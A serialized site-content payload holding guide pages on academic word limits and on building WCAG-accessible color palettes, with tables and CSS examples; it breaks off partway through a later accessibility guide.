.s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":2625},[2626,2627,2628,2633,2638,2639,2640,2641,2642,2643],{"id":2084,"depth":337,"text":2085},{"id":2114,"depth":337,"text":2115},{"id":2135,"depth":337,"text":2136,"children":2629},[2630,2631,2632],{"id":2139,"depth":343,"text":2140},{"id":2193,"depth":343,"text":2194},{"id":2272,"depth":343,"text":2273},{"id":2340,"depth":337,"text":2341,"children":2634},[2635,2636,2637],{"id":2344,"depth":343,"text":2345},{"id":2351,"depth":343,"text":2352},{"id":2358,"depth":343,"text":2359},{"id":2365,"depth":337,"text":2366},{"id":2395,"depth":337,"text":2396},{"id":2427,"depth":337,"text":2428},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how to apply the 60-30-10 color rule to web design projects. Understand dominant, secondary, and accent color proportions for balanced palettes.",{"keywords":2646,"immutable":363},[2647,2648],"color-palette","60-30-10-color-rule-web-design","\u002Fguides\u002F60-30-10-color-rule-web-design",{"title":2079,"description":2644},"guides\u002F60-30-10-color-rule-web-design","At48ni4h6zljwm6B8Oxe8beodd0DdicKgIXSY9RoXhc",{"id":2654,"title":2655,"body":2656,"date":2070,"description":3255,"extension":361,"meta":3256,"navigation":363,"path":3257,"readingTime":1710,"seo":3258,"stem":3259,"__hash__":3260},"guides\u002Fguides\u002Facademic-writing-word-limits.md","Academic Writing Word Limits Guide",{"type":8,"value":2657,"toc":3239},[2658,2661,2665,2669,2741,2745,2868,2872,2875,2958,2962,2965,3026,3030,3033,3133,3136,3140,3144,3147,3153,3156,3160,3163,3189,3193,3196,3210,3212,3229,3231],[16,2659,2660],{},"Word limits in academic writing serve a practical purpose: they force clarity, enforce fairness across submissions, and keep reviewers' workloads manageable. But word limits also create tension — you must fit complex arguments into constrained space without sacrificing rigor. Knowing the typical ranges for each academic format helps you plan your writing and allocate words to the sections that matter most.",[11,2662,2664],{"id":2663},"word-count-ranges-by-format","Word Count Ranges by Format",[33,2666,2668],{"id":2667},"essays","Essays",[193,2670,2671,2684],{},[196,2672,2673],{},[199,2674,2675,2678,2681],{},[202,2676,2677],{},"Essay Type",[202,2679,2680],{},"Typical Range",[202,2682,2683],{},"Notes",[211,2685,2686,2697,2708,2719,2730],{},[199,2687,2688,2691,2694],{},[216,2689,2690],{},"High school essay",[216,2692,2693],{},"500–1,000",[216,2695,2696],{},"5 paragraphs standard",[199,2698,2699,2702,2705],{},[216,2700,2701],{},"Undergraduate short essay",[216,2703,2704],{},"1,000–1,500",[216,2706,2707],{},"4–6 pages double-spaced",[199,2709,2710,2713,2716],{},[216,2711,2712],{},"Undergraduate term paper",[216,2714,2715],{},"2,000–3,000",[216,2717,2718],{},"Includes intro, body, conclusion",[199,2720,2721,2724,2727],{},[216,2722,2723],{},"Graduate seminar paper",[216,2725,2726],{},"3,000–5,000",[216,2728,2729],{},"Requires literature review",[199,2731,2732,2735,2738],{},[216,2733,2734],{},"Extended essay (IB)",[216,2736,2737],{},"4,000",[216,2739,2740],{},"Fixed limit, not a range",[33,2742,2744],{"id":2743},"thesis-and-dissertation-chapters","Thesis and Dissertation Chapters",[193,2746,2747,2759],{},[196,2748,2749],{},[199,2750,2751,2754,2756],{},[202,2752,2753],{},"Chapter",[202,2755,2680],{},[202,2757,2758],{},"Purpose",[211,2760,2761,2772,2783,2794,2805,2816,2827,2838,2853],{},[199,2762,2763,2766,2769],{},[216,2764,2765],{},"Abstract",[216,2767,2768],{},"150–300",[216,2770,2771],{},"Summary of entire work",[199,2773,2774,2777,2780],{},[216,2775,2776],{},"Introduction",[216,2778,2779],{},"2,000–4,000",[216,2781,2782],{},"Context, research question, outline",[199,2784,2785,2788,2791],{},[216,2786,2787],{},"Literature review",[216,2789,2790],{},"5,000–10,000",[216,2792,2793],{},"Critical survey of existing research",[199,2795,2796,2799,2802],{},[216,2797,2798],{},"Methodology",[216,2800,2801],{},"2,000–5,000",[216,2803,2804],{},"Research design and justification",[199,2806,2807,2810,2813],{},[216,2808,2809],{},"Results \u002F Findings",[216,2811,2812],{},"3,000–8,000",[216,2814,2815],{},"Data presentation",[199,2817,2818,2821,2824],{},[216,2819,2820],{},"Discussion",[216,2822,2823],{},"3,000–7,000",[216,2825,2826],{},"Interpretation and implications",[199,2828,2829,2832,2835],{},[216,2830,2831],{},"Conclusion",[216,2833,2834],{},"1,000–2,000",[216,2836,2837],{},"Synthesis and future work",[199,2839,2840,2845,2850],{},[216,2841,2842],{},[47,2843,2844],{},"Total (Master's thesis)",[216,2846,2847],{},[47,2848,2849],{},"15,000–25,000",[216,2851,2852],{},"Varies by institution and discipline",[199,2854,2855,2860,2865],{},[216,2856,2857],{},[47,2858,2859],{},"Total (PhD dissertation)",[216,2861,2862],{},[47,2863,2864],{},"70,000–100,000",[216,2866,2867],{},"Upper limit often enforced strictly",[33,2869,2871],{"id":2870},"journal-articles","Journal Articles",[16,2873,2874],{},"Journal word limits vary dramatically by discipline and publication:",[193,2876,2877,2890],{},[196,2878,2879],{},[199,2880,2881,2884,2887],{},[202,2882,2883],{},"Discipline",[202,2885,2886],{},"Typical Limit",[202,2888,2889],{},"Counting Method",[211,2891,2892,2903,2914,2925,2936,2947],{},[199,2893,2894,2897,2900],{},[216,2895,2896],{},"STEM (Nature, Science)",[216,2898,2899],{},"2,500–3,000",[216,2901,2902],{},"Body text only (excl. references)",[199,2904,2905,2908,2911],{},[216,2906,2907],{},"STEM (PLOS One)",[216,2909,2910],{},"No formal limit",[216,2912,2913],{},"Practical cap ~6,000",[199,2915,2916,2919,2922],{},[216,2917,2918],{},"Social sciences (APA)",[216,2920,2921],{},"5,000–8,000",[216,2923,2924],{},"All text including references",[199,2926,2927,2930,2933],{},[216,2928,2929],{},"Humanities (MLA)",[216,2931,2932],{},"6,000–10,000",[216,2934,2935],{},"Main text only",[199,2937,2938,2941,2944],{},[216,2939,2940],{},"Law reviews",[216,2942,2943],{},"20,000–30,000",[216,2945,2946],{},"Footnotes included",[199,2948,2949,2952,2955],{},[216,2950,2951],{},"Conference papers (CS)",[216,2953,2954],{},"6,000–8,000",[216,2956,2957],{},"Strict page limit (often 10–12 pages)",[33,2959,2961],{"id":2960},"abstracts","Abstracts",[16,2963,2964],{},"Abstracts have the tightest constraints and the highest information density requirements:",[193,2966,2967,2980],{},[196,2968,2969],{},[199,2970,2971,2974,2977],{},[202,2972,2973],{},"Context",[202,2975,2976],{},"Limit",[202,2978,2979],{},"Key Challenge",[211,2981,2982,2993,3004,3015],{},[199,2983,2984,2987,2990],{},[216,2985,2986],{},"Conference abstract",[216,2988,2989],{},"250–500",[216,2991,2992],{},"Fit motivation, method, result, impact",[199,2994,2995,2998,3001],{},[216,2996,2997],{},"Journal abstract (structured)",[216,2999,3000],{},"200–300",[216,3002,3003],{},"One sentence per section",[199,3005,3006,3009,3012],{},[216,3007,3008],{},"Thesis abstract",[216,3010,3011],{},"300–500",[216,3013,3014],{},"Cover all chapters",[199,3016,3017,3020,3023],{},[216,3018,3019],{},"Poster abstract",[216,3021,3022],{},"150–250",[216,3024,3025],{},"Hook + key finding only",[11,3027,3029],{"id":3028},"what-counts-toward-the-limit","What Counts Toward the Limit",[16,3031,3032],{},"Counting rules differ by institution and journal — always check the specific guidelines. Common approaches:",[193,3034,3035,3048],{},[196,3036,3037],{},[199,3038,3039,3042,3045],{},[202,3040,3041],{},"Element",[202,3043,3044],{},"Usually Counted?",[202,3046,3047],{},"Exceptions",[211,3049,3050,3061,3071,3082,3092,3103,3113,3123],{},[199,3051,3052,3055,3058],{},[216,3053,3054],{},"Body text",[216,3056,3057],{},"Yes",[216,3059,3060],{},"—",[199,3062,3063,3066,3068],{},[216,3064,3065],{},"In-text citations",[216,3067,3057],{},[216,3069,3070],{},"Some journals exclude",[199,3072,3073,3076,3079],{},[216,3074,3075],{},"Reference list",[216,3077,3078],{},"Varies",[216,3080,3081],{},"APA counts; Nature excludes",[199,3083,3084,3087,3089],{},[216,3085,3086],{},"Footnotes \u002F endnotes",[216,3088,3078],{},[216,3090,3091],{},"Law reviews count; STEM often excludes",[199,3093,3094,3097,3100],{},[216,3095,3096],{},"Figure captions",[216,3098,3099],{},"Usually no",[216,3101,3102],{},"Some journals include",[199,3104,3105,3108,3110],{},[216,3106,3107],{},"Tables",[216,3109,3099],{},[216,3111,3112],{},"If tables contain extensive text, some count",[199,3114,3115,3118,3120],{},[216,3116,3117],{},"Appendices",[216,3119,3099],{},[216,3121,3122],{},"Unless specified",[199,3124,3125,3128,3130],{},[216,3126,3127],{},"Title and abstract",[216,3129,3078],{},[216,3131,3132],{},"Some count; most do not",[16,3134,3135],{},"When in doubt, ask the editor or your supervisor. Submitting 8,100 words for an 8,000-word limit may seem trivial, but some editors enforce strict cutoffs and will return the manuscript unread.",[11,3137,3139],{"id":3138},"strategies-for-writing-within-limits","Strategies for Writing Within Limits",[33,3141,3143],{"id":3142},"allocate-words-before-writing","Allocate Words Before Writing",[16,3145,3146],{},"Divide your total word budget across sections before you start drafting:",[135,3148,3151],{"className":3149,"code":3150,"language":140},[138],"5,000-word journal article budget:\n- Introduction:    800 words (16%)\n- Literature review: 1,200 words (24%)\n- Methodology:       800 words (16%)\n- Results:          1,200 words (24%)\n- Discussion:        800 words (16%)\n- Conclusion:        200 words (4%)\n",[143,3152,3150],{"__ignoreMap":141},[16,3154,3155],{},"This prevents over-investing in the literature review and running out of space for results.",[33,3157,3159],{"id":3158},"cut-waste-not-substance","Cut Waste, Not Substance",[16,3161,3162],{},"Common sources of bloat that editors flag:",[41,3164,3165,3171,3177,3183],{},[44,3166,3167,3170],{},[47,3168,3169],{},"Hedging repetition."," \"It could perhaps be argued that\" → \"Arguably,\"",[44,3172,3173,3176],{},[47,3174,3175],{},"Redundant transitions."," \"As mentioned above, as we discussed earlier\" → cut entirely",[44,3178,3179,3182],{},[47,3180,3181],{},"Over-citation."," Citing five sources for a well-established fact when one authoritative source suffices",[44,3184,3185,3188],{},[47,3186,3187],{},"Background padding."," Restating textbook knowledge that your audience already possesses",[33,3190,3192],{"id":3191},"move-content-to-supplementary-material","Move Content to Supplementary Material",[16,3194,3195],{},"Most journals allow supplementary files that do not count toward the word limit. Use them for:",[41,3197,3198,3201,3204,3207],{},[44,3199,3200],{},"Extended methodology details",[44,3202,3203],{},"Full statistical tables",[44,3205,3206],{},"Additional figures",[44,3208,3209],{},"Raw data excerpts",[11,3211,1355],{"id":1354},[41,3213,3214,3217,3220,3223,3226],{},[44,3215,3216],{},"Essay lengths range from 500 words (high school) to 5,000 words (graduate seminar papers).",[44,3218,3219],{},"Master's theses typically run 15,000–25,000 words; PhD dissertations 70,000–100,000.",[44,3221,3222],{},"Journal article limits range from 2,500 words (high-impact STEM) to 10,000+ (humanities).",[44,3224,3225],{},"Always verify what elements count toward the limit — reference lists and footnotes vary by discipline.",[44,3227,3228],{},"Allocate your word budget across sections before drafting, and cut redundancy rather than substance.",[11,3230,286],{"id":285},[16,3232,3233,3234,3238],{},"Tracking your word count as you write? Paste your draft into the ",[98,3235,3237],{"href":3236},"\u002Ftools\u002Fword-counter","Word Counter"," to see total words, sentences, and paragraphs — then compare against your target limit for the specific academic format.",{"title":141,"searchDepth":337,"depth":337,"links":3240},[3241,3247,3248,3253,3254],{"id":2663,"depth":337,"text":2664,"children":3242},[3243,3244,3245,3246],{"id":2667,"depth":343,"text":2668},{"id":2743,"depth":343,"text":2744},{"id":2870,"depth":343,"text":2871},{"id":2960,"depth":343,"text":2961},{"id":3028,"depth":337,"text":3029},{"id":3138,"depth":337,"text":3139,"children":3249},[3250,3251,3252],{"id":3142,"depth":343,"text":3143},{"id":3158,"depth":343,"text":3159},{"id":3191,"depth":343,"text":3192},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Typical word count ranges for essays, thesis chapters, journal articles, and abstracts.",{"immutable":363},"\u002Fguides\u002Facademic-writing-word-limits",{"title":2655,"description":3255},"guides\u002Facademic-writing-word-limits","19eQfw6vzsYsMpwP0Ou_SXlqyaQ2gUZALEidfO95SSo",{"id":3262,"title":3263,"body":3264,"date":2070,"description":3897,"extension":361,"meta":3898,"navigation":363,"path":2618,"readingTime":1717,"seo":3901,"stem":3902,"__hash__":3903},"guides\u002Fguides\u002Faccessibility-first-color-palettes.md","Accessibility-First Color Palettes: Designing for WCAG Compliance",{"type":8,"value":3265,"toc":3876},[3266,3270,3273,3276,3280,3283,3329,3343,3347,3350,3356,3359,3363,3367,3370,3417,3421,3424,3459,3462,3466,3469,3529,3535,3600,3604,3607,3672,3676,3740,3744,3747,3767,3771,3791,3795,3828,3830,3850,3852,3858,3860,3873],[11,3267,3269],{"id":3268},"why-start-with-accessibility","Why Start with Accessibility",[16,3271,3272],{},"Many teams pick colors for aesthetics first, then discover during QA that text contrast fails WCAG requirements. Fixing contrast after the fact means either darkening text (which changes the design intent) or reworking the entire palette.",[16,3274,3275],{},"An accessibility-first approach reverses this: start with colors that pass contrast checks, then refine aesthetically within those constraints. The result is a palette that looks good and works for everyone — including the estimated 300 million people worldwide with color vision deficiencies.",[11,3277,3279],{"id":3278},"wcag-contrast-requirements","WCAG Contrast Requirements",[16,3281,3282],{},"WCAG 2.1 defines two conformance levels:",[193,3284,3285,3301],{},[196,3286,3287],{},[199,3288,3289,3292,3295,3298],{},[202,3290,3291],{},"Level",[202,3293,3294],{},"Normal Text (\u003C 18pt)",[202,3296,3297],{},"Large Text (≥ 18pt bold or ≥ 24pt)",[202,3299,3300],{},"UI Components",[211,3302,3303,3316],{},[199,3304,3305,3308,3311,3314],{},[216,3306,3307],{},"AA",[216,3309,3310],{},"4.5:1",[216,3312,3313],{},"3:1",[216,3315,3313],{},[199,3317,3318,3321,3324,3326],{},[216,3319,3320],{},"AAA",[216,3322,3323],{},"7:1",[216,3325,3310],{},[216,3327,3328],{},"Not specified",[16,3330,3331,3334,3335,3338,3339,3342],{},[47,3332,3333],{},"Normal text"," includes body copy, labels, and navigation links. ",[47,3336,3337],{},"Large text"," includes headings and prominent labels. ",[47,3340,3341],{},"UI components"," covers icons, form borders, and focus indicators.",[33,3344,3346],{"id":3345},"contrast-ratio-explained","Contrast Ratio Explained",[16,3348,3349],{},"The contrast ratio compares the relative luminance of two colors:",[135,3351,3354],{"className":3352,"code":3353,"language":140},[138],"Ratio = (L1 + 0.05) \u002F (L2 + 0.05)\n",[143,3355,3353],{"__ignoreMap":141},[16,3357,3358],{},"Where L1 is the lighter color and L2 is the darker color. Pure white (#FFFFFF) against pure black (#000000) gives a ratio of 21:1. Two similar grays might give 1.5:1.",[11,3360,3362],{"id":3361},"building-an-accessible-palette-step-by-step","Building an Accessible Palette Step by Step",[33,3364,3366],{"id":3365},"step-1-define-your-backgrounds","Step 1: Define Your Backgrounds",[16,3368,3369],{},"Start with your surface colors — these are fixed because layouts depend on them.",[135,3371,3373],{"className":1554,"code":3372,"language":1556,"meta":141,"style":141},":root {\n  --bg-primary: #FFFFFF;    \u002F* Light mode main background *\u002F\n  --bg-secondary: #F1F5F9;  \u002F* Light mode card background *\u002F\n}\n",[143,3374,3375,3381,3397,3413],{"__ignoreMap":141},[1560,3376,3377,3379],{"class":1562,"line":1563},[1560,3378,2207],{"class":1566},[1560,3380,1571],{"class":1570},[1560,3382,3383,3386,3388,3391,3394],{"class":1562,"line":337},[1560,3384,3385],{"class":2219},"  --bg-primary",[1560,3387,1663],{"class":1570},[1560,3389,3390],{"class":1576},"#FFFFFF",[1560,3392,3393],{"class":1570},";    ",[1560,3395,3396],{"class":1649},"\u002F* Light mode main background *\u002F\n",[1560,3398,3399,3402,3404,3407,3410],{"class":1562,"line":343},[1560,3400,3401],{"class":2219},"  --bg-secondary",[1560,3403,1663],{"class":1570},[1560,3405,3406],{"class":1576},"#F1F5F9",[1560,3408,3409],{"class":1570},";  ",[1560,3411,3412],{"class":1649},"\u002F* Light mode card background *\u002F\n",[1560,3414,3415],{"class":1562,"line":365},[1560,3416,1585],{"class":1570},[33,3418,3420],{"id":3419},"step-2-choose-text-colors-that-pass","Step 2: Choose Text Colors That Pass",[16,3422,3423],{},"For each background, calculate the darkest shade needed to reach 4.5:1:",[193,3425,3426,3439],{},[196,3427,3428],{},[199,3429,3430,3433,3436],{},[202,3431,3432],{},"Background",[202,3434,3435],{},"Min AA Text",[202,3437,3438],{},"Example Passing Color",[211,3440,3441,3450],{},[199,3442,3443,3445,3447],{},[216,3444,3390],{},[216,3446,3310],{},[216,3448,3449],{},"#57534A (ratio: 7.1:1)",[199,3451,3452,3454,3456],{},[216,3453,3406],{},[216,3455,3310],{},[216,3457,3458],{},"#475569 (ratio: 6.8:1)",[16,3460,3461],{},"Never rely on the minimum. Choose a text color that exceeds 4.5:1 to provide comfortable reading, not just barely passing.",[33,3463,3465],{"id":3464},"step-3-add-accent-colors-with-contrast-verification","Step 3: Add Accent Colors with Contrast Verification",[16,3467,3468],{},"Accent colors (for links, buttons, badges) must contrast against their specific background:",[135,3470,3472],{"className":1554,"code":3471,"language":1556,"meta":141,"style":141},":root {\n  --color-accent: #2563EB;   \u002F* Blue for links on white — ratio 4.6:1 ✓ *\u002F\n  --color-success: #16A34A;  \u002F* Green for badges — test against background *\u002F\n  --color-warning: #CA8A04;  \u002F* Yellow — often fails on white, needs dark text *\u002F\n}\n",[143,3473,3474,3480,3495,3510,3525],{"__ignoreMap":141},[1560,3475,3476,3478],{"class":1562,"line":1563},[1560,3477,2207],{"class":1566},[1560,3479,1571],{"class":1570},[1560,3481,3482,3484,3486,3489,3492],{"class":1562,"line":337},[1560,3483,2255],{"class":2219},[1560,3485,1663],{"class":1570},[1560,3487,3488],{"class":1576},"#2563EB",[1560,3490,3491],{"class":1570},";   ",[1560,3493,3494],{"class":1649},"\u002F* Blue for links on white — ratio 4.6:1 ✓ *\u002F\n",[1560,3496,3497,3500,3502,3505,3507],{"class":1562,"line":343},[1560,3498,3499],{"class":2219},"  --color-success",[1560,3501,1663],{"class":1570},[1560,3503,3504],{"class":1576},"#16A34A",[1560,3506,3409],{"class":1570},[1560,3508,3509],{"class":1649},"\u002F* Green for badges — test against background *\u002F\n",[1560,3511,3512,3515,3517,3520,3522],{"class":1562,"line":365},[1560,3513,3514],{"class":2219},"  --color-warning",[1560,3516,1663],{"class":1570},[1560,3518,3519],{"class":1576},"#CA8A04",[1560,3521,3409],{"class":1570},[1560,3523,3524],{"class":1649},"\u002F* Yellow — often fails on white, needs dark text *\u002F\n",[1560,3526,3527],{"class":1562,"line":889},[1560,3528,1585],{"class":1570},[16,3530,3531,3532,3534],{},"Yellow warnings are a notorious contrast trap. ",[143,3533,3519],{}," on white gives only 2.8:1 — failing AA for normal text. Use a dark text on the yellow background instead:",[135,3536,3538],{"className":1554,"code":3537,"language":1556,"meta":141,"style":141},".badge-warning {\n  background-color: #FEF3C7;  \u002F* Light yellow *\u002F\n  color: #92400E;             \u002F* Dark amber text — ratio 7.5:1 ✓ *\u002F\n  border: 1px solid #F59E0B;\n}\n",[143,3539,3540,3547,3561,3576,3596],{"__ignoreMap":141},[1560,3541,3542,3545],{"class":1562,"line":1563},[1560,3543,3544],{"class":1566},".badge-warning",[1560,3546,1571],{"class":1570},[1560,3548,3549,3551,3553,3556,3558],{"class":1562,"line":337},[1560,3550,2492],{"class":1576},[1560,3552,1663],{"class":1570},[1560,3554,3555],{"class":1576},"#FEF3C7",[1560,3557,3409],{"class":1570},[1560,3559,3560],{"class":1649},"\u002F* Light yellow *\u002F\n",[1560,3562,3563,3565,3567,3570,3573],{"class":1562,"line":343},[1560,3564,2510],{"class":1576},[1560,3566,1663],{"class":1570},[1560,3568,3569],{"class":1576},"#92400E",[1560,3571,3572],{"class":1570},";             ",[1560,3574,3575],{"class":1649},"\u002F* Dark amber text — ratio 7.5:1 ✓ *\u002F\n",[1560,3577,3578,3581,3583,3586,3588,3591,3594],{"class":1562,"line":365},[1560,3579,3580],{"class":1576},"  border",[1560,3582,1663],{"class":1570},[1560,3584,3585],{"class":1576},"1",[1560,3587,1670],{"class":1669},[1560,3589,3590],{"class":1576}," solid",[1560,3592,3593],{"class":1576}," #F59E0B",[1560,3595,2228],{"class":1570},[1560,3597,3598],{"class":1562,"line":889},[1560,3599,1585],{"class":1570},[11,3601,3603],{"id":3602},"dark-mode-accessibility","Dark Mode Accessibility",[16,3605,3606],{},"Dark mode is not simply inverting light mode colors. Contrast requirements still apply:",[135,3608,3610],{"className":1554,"code":3609,"language":1556,"meta":141,"style":141},":root.dark {\n  --bg-primary: #0F172A;\n  --bg-secondary: #1E293B;\n  --text-primary: #F1F5F9;   \u002F* Ratio: 15.4:1 ✓ *\u002F\n  --text-secondary: #94A3B8; \u002F* Ratio: 5.6:1 ✓ *\u002F\n}\n",[143,3611,3612,3618,3628,3638,3652,3668],{"__ignoreMap":141},[1560,3613,3614,3616],{"class":1562,"line":1563},[1560,3615,2283],{"class":1566},[1560,3617,1571],{"class":1570},[1560,3619,3620,3622,3624,3626],{"class":1562,"line":337},[1560,3621,3385],{"class":2219},[1560,3623,1663],{"class":1570},[1560,3625,2299],{"class":1576},[1560,3627,2228],{"class":1570},[1560,3629,3630,3632,3634,3636],{"class":1562,"line":343},[1560,3631,3401],{"class":2219},[1560,3633,1663],{"class":1570},[1560,3635,2315],{"class":1576},[1560,3637,2228],{"class":1570},[1560,3639,3640,3643,3645,3647,3649],{"class":1562,"line":365},[1560,3641,3642],{"class":2219},"  --text-primary",[1560,3644,1663],{"class":1570},[1560,3646,3406],{"class":1576},[1560,3648,3491],{"class":1570},[1560,3650,3651],{"class":1649},"\u002F* Ratio: 15.4:1 ✓ *\u002F\n",[1560,3653,3654,3657,3659,3662,3665],{"class":1562,"line":889},[1560,3655,3656],{"class":2219},"  --text-secondary",[1560,3658,1663],{"class":1570},[1560,3660,3661],{"class":1576},"#94A3B8",[1560,3663,3664],{"class":1570},"; ",[1560,3666,3667],{"class":1649},"\u002F* Ratio: 5.6:1 ✓ *\u002F\n",[1560,3669,3670],{"class":1562,"line":1710},[1560,3671,1585],{"class":1570},[33,3673,3675],{"id":3674},"common-dark-mode-mistakes","Common Dark Mode Mistakes",[193,3677,3678,3691],{},[196,3679,3680],{},[199,3681,3682,3685,3688],{},[202,3683,3684],{},"Mistake",[202,3686,3687],{},"Why It Fails",[202,3689,3690],{},"Fix",[211,3692,3693,3704,3718,3729],{},[199,3694,3695,3698,3701],{},[216,3696,3697],{},"Pure white (#FFF) text on dark bg",[216,3699,3700],{},"21:1 ratio creates glare, causes eye strain",[216,3702,3703],{},"Use off-white (#F1F5F9)",[199,3705,3706,3712,3715],{},[216,3707,3708,3709,1525],{},"Low-opacity text (",[143,3710,3711],{},"rgba(255,255,255,0.5)",[216,3713,3714],{},"Calculated ratio may fall below 4.5:1",[216,3716,3717],{},"Test actual rendered color",[199,3719,3720,3723,3726],{},[216,3721,3722],{},"Saturated accent on dark bg",[216,3724,3725],{},"Saturated colors vibrate against dark backgrounds",[216,3727,3728],{},"Desaturate slightly or lighten",[199,3730,3731,3734,3737],{},[216,3732,3733],{},"Same accent as light mode",[216,3735,3736],{},"Blue #2563EB on #0F172A = 2.3:1 ✗",[216,3738,3739],{},"Use #60A5FA — ratio 5.6:1 ✓",[11,3741,3743],{"id":3742},"color-blindness-considerations","Color Blindness Considerations",[16,3745,3746],{},"Approximately 8% of men and 0.5% of women have some form of color vision deficiency. The most common types:",[41,3748,3749,3755,3761],{},[44,3750,3751,3754],{},[47,3752,3753],{},"Deuteranopia"," (red-green): Cannot distinguish red from green",[44,3756,3757,3760],{},[47,3758,3759],{},"Protanopia"," (red-green): Reduced sensitivity to red light",[44,3762,3763,3766],{},[47,3764,3765],{},"Tritanopia"," (blue-yellow): Cannot distinguish blue from yellow (rare)",[33,3768,3770],{"id":3769},"design-rules","Design Rules",[77,3772,3773,3779,3785],{},[44,3774,3775,3778],{},[47,3776,3777],{},"Never use color alone"," to convey information. Always pair with text, icons, or patterns.",[44,3780,3781,3784],{},[47,3782,3783],{},"Avoid red\u002Fgreen for success\u002Ferror"," if they share similar luminance. Use shapes or labels as secondary indicators.",[44,3786,3787,3790],{},[47,3788,3789],{},"Test your palette"," with a color blindness simulator. Free tools include Coblis and the built-in Chrome DevTools vision simulation.",[11,3792,3794],{"id":3793},"testing-workflow","Testing Workflow",[77,3796,3797,3803,3809,3822],{},[44,3798,3799,3802],{},[47,3800,3801],{},"During design",": Use the Stark plugin (Figma\u002FSketch) to check contrast in real time",[44,3804,3805,3808],{},[47,3806,3807],{},"During development",": Run axe-core or Lighthouse accessibility audits",[44,3810,3811,3814,3815,1531,3818,3821],{},[47,3812,3813],{},"In CI",": Add ",[143,3816,3817],{},"pa11y",[143,3819,3820],{},"accessibility-checker"," to your pipeline",[44,3823,3824,3827],{},[47,3825,3826],{},"Manual spot-check",": Use WebAIM Contrast Checker for borderline cases",[11,3829,1355],{"id":1354},[41,3831,3832,3835,3838,3841,3844,3847],{},[44,3833,3834],{},"Start with accessible contrast ratios rather than fixing them later",[44,3836,3837],{},"AA requires 4.5:1 for normal text, 3:1 for large text and UI components",[44,3839,3840],{},"Yellow and orange accents frequently fail on light backgrounds — use dark text on light fill instead",[44,3842,3843],{},"Dark mode needs its own contrast calculations — do not reuse light mode accent colors",[44,3845,3846],{},"Color should never be the only indicator of meaning — add icons, text, or patterns",[44,3848,3849],{},"Test with both automated tools and color blindness simulators",[11,3851,286],{"id":285},[16,3853,3854,3855,3857],{},"Build accessible palettes with built-in contrast checking using our ",[98,3856,2423],{"href":2422},". It flags WCAG failures in real time as you adjust colors.",[11,3859,321],{"id":320},[41,3861,3862,3867],{},[44,3863,3864,3866],{},[98,3865,2612],{"href":2611}," — fundamentals of building harmonious palettes",[44,3868,3869,3872],{},[98,3870,3871],{"href":2649},"60-30-10 Color Rule for Web Design"," — applying proportion principles to accessible palettes",[2043,3874,3875],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":3877},[3878,3879,3882,3887,3890,3893,3894,3895,3896],{"id":3268,"depth":337,"text":3269},{"id":3278,"depth":337,"text":3279,"children":3880},[3881],{"id":3345,"depth":343,"text":3346},{"id":3361,"depth":337,"text":3362,"children":3883},[3884,3885,3886],{"id":3365,"depth":343,"text":3366},{"id":3419,"depth":343,"text":3420},{"id":3464,"depth":343,"text":3465},{"id":3602,"depth":337,"text":3603,"children":3888},[3889],{"id":3674,"depth":343,"text":3675},{"id":3742,"depth":337,"text":3743,"children":3891},[3892],{"id":3769,"depth":343,"text":3770},{"id":3793,"depth":337,"text":3794},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how to create color palettes that meet WCAG 2.1 AA contrast requirements from the start. Covers contrast ratios, dark mode, and practical testing workflows.",{"keywords":3899,"immutable":363},[2647,3900],"accessibility-first-color-palettes",{"title":3263,"description":3897},"guides\u002Faccessibility-first-color-palettes","ITi3e8OouPIae1NfE7N7ubXXRn1BCLWxi7wP1GhwboQ",{"id":3905,"title":3906,"body":3907,"date":2070,"description":4557,"extension":361,"meta":4558,"navigation":363,"path":4559,"readingTime":1710,"seo":4560,"stem":4561,"__hash__":4562},"guides\u002Fguides\u002Faccessible-color-palettes.md","Building Accessible Color Palettes",{"type":8,"value":3908,"toc":4539},[3909,3913,3916,3919,3921,3924,3964,3969,3974,3978,3980,4009,4013,4017,4020,4120,4124,4127,4206,4213,4217,4220,4296,4302,4306,4309,4312,4346,4429,4433,4437,4457,4461,4504,4506,4524,4526,4529,4536],[11,3910,3912],{"id":3911},"why-accessibility-and-color-must-coexist","Why Accessibility and Color Must Coexist",[16,3914,3915],{},"An estimated 300 million people worldwide have color vision deficiency. Millions more have low vision or age-related visual decline. If your color palette doesn't provide sufficient contrast, a significant portion of your audience simply can't read your content.",[16,3917,3918],{},"Accessibility isn't a constraint on design — it's a design skill. The best accessible palettes are indistinguishable from good design to sighted users, but they unlock your product for everyone else.",[11,3920,3279],{"id":3278},[16,3922,3923],{},"The Web Content Accessibility Guidelines define two levels of contrast compliance:",[193,3925,3926,3940],{},[196,3927,3928],{},[199,3929,3930,3932,3935,3938],{},[202,3931,3291],{},[202,3933,3934],{},"Normal Text",[202,3936,3937],{},"Large 